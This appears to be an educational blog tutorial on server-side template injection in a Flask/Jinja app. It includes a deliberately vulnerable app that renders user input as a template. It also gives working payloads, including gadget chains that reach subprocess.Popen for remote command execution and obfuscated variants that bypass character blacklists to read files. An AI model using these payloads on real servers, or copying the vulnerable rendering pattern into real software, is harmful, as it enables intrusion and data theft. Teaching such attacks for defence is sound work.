Server-Side Template Injection
Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.
— James Kettle. Director of Research at PortSwigger Web Security
As mentioned by James Kettle, attacks can be carried out directly to the internal web application, which usually leads to RCE. Before discussing SSTI further, let us first discuss about the template itself.
What is Templates?
Templates may be familiar in the world of web development. When a website has a page that has the same structure but different content, usually a template will be used by a developer. Template contains a static part which is the frame of a page that does not change, while dynamic part is a part of a page that changes which is affected by the session, id, or other parameters.
In the picture above, the dynamic part of the template is written in the format {{ variable }}
which is the templating format of a template engine named Jinja.
Where is the vulnerability?
As the title, template injection occurs when user input is mixed into the rendering process of the template itself. When the user enters the query How to be a hacker 101
, the query will be displayed as Results for How to be a hacker 101
, which means it is running as it should. However, when the user enters the query input {{7 * 7}}
and it displays Results for 49
, the Template has been successfully injected. This is a security hole that needs attention because the template renders the format it receives from user input. This vulnerability can be fatal if the attacker can perform RCE (using reverse-shell or not) and steal some important data on the server side.
How to exploit?
It’s time for us to hack a very simple web application called Search App, written in python that uses Flask web framework.
#!/usr/bin/python
from flask import Flask, request, make_response, render_template
from jinja2 import Environmentfrom articles import POSTS
from waf import sanitizeapp = Flask(__name__)
Jinja2 = Environment()@app.route("/", methods=['GET', 'POST'])
def home():
if request.method == 'POST':
query = request.form['query']
query = sanitize(query)
query = Jinja2.from_string(query).render()
posts = []
for po in POSTS:
if query.lower() in po['title'].lower():
posts.append(po)
return make_response(render_template('index.html', data=posts, query=query))
else:
posts = POSTS
return make_response(render_template('index.html', data=posts))if __name__ == "__main__":
app.run()
Source code of index.html.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link
rel="stylesheet"
href="{{ url_for('static', filename='style.css') }}"
/>
<title>Document</title>
</head>
<body>
<div class="wrap">
<h2><a href="/">Search App</a></h1>
<form action="/" method="post">
<input type="text" name="query" id="query" />
<input type="submit" value="Search" />
</form>
{% if query %}
<p style="padding: 5px 0">Results for {{ query }}:</p>
{% endif %}
{% for po in data %}
<div class="article">
<h2>{{ po.title }}</h2>
<p>{{ po.content }}</p>
</div>
{% endfor %}
</div>
</body>
</html>
For this experiment, we assume the web application is not vulnerable to Cross-Site Scripting. The first step, we can test SSTI vulnerability by entering a simple payload such as {{ 7*7 }}
.
The inserted template format is successfully injected into the web application. How do we get RCE to the web application? Jinja template engine limits the input so we can’t do some python syntax like import module or others. But this is not a big deal because we can get RCE by using the Gadgets method. “In python, everything is an object”, thus we can use these Gadgets to call several methods or functions that we can use for RCE. Let’s put {{ 'asdf'.__class__.__mro__[2].__subclasses__() }}
as our payload.
There are many subclasses of python objects displayed by the web application. We can find out which class or module we can use to launch an RCE attack. One of the modules that can be used is the subprocess.Popen, which in this case is at the 194th index.
By using payload {{ 'asdf'.__class__.__mro__[2].__subclasses__()[194]('id',stdout=-1,shell=True).communicate()[0] }}
, we successfully perform RCE by executing the command id
on the server-side shell. We can also execute the ls
command and continue reading the file with the cat <file>
command.
Bypass blacklisted characters
What if there are several characters that are blacklisted on the web application? Can we still exploit the web application? For example, some commands such as ls, cat, echo
are blacklisted, we can still bypass with the concatenation technique. The idea is, we can rearrange the payload like the 'ls'
command to 'l''s'
or '\x6c\x73'
.
If the character .
and _
are blacklisted, we can bypass in the following way:
{{ 'asdf'['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[194]('ca''t flag\x2etxt',stdout=-1,shell=True)['communica''te']()[0] }}
And if shell
and =
are also blacklisted, here is the final payload:
{{ 'asdf'['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[194]('ca''t flag\x2etxt',0,None,None,-1,None,None,False,True)['communica''te']()[0] }}
Conclusion
SSTI is not only appears in python-based frameworks, but can be in other frameworks or programming languages such as PHP, Java, Javascript, Ruby, Golang and others. As a mitigation measure, what developers can do is to use WAF, add blacklisted characters, escape strings to user input, and use the latest and stable version of the framework. Remember, never trust user input data!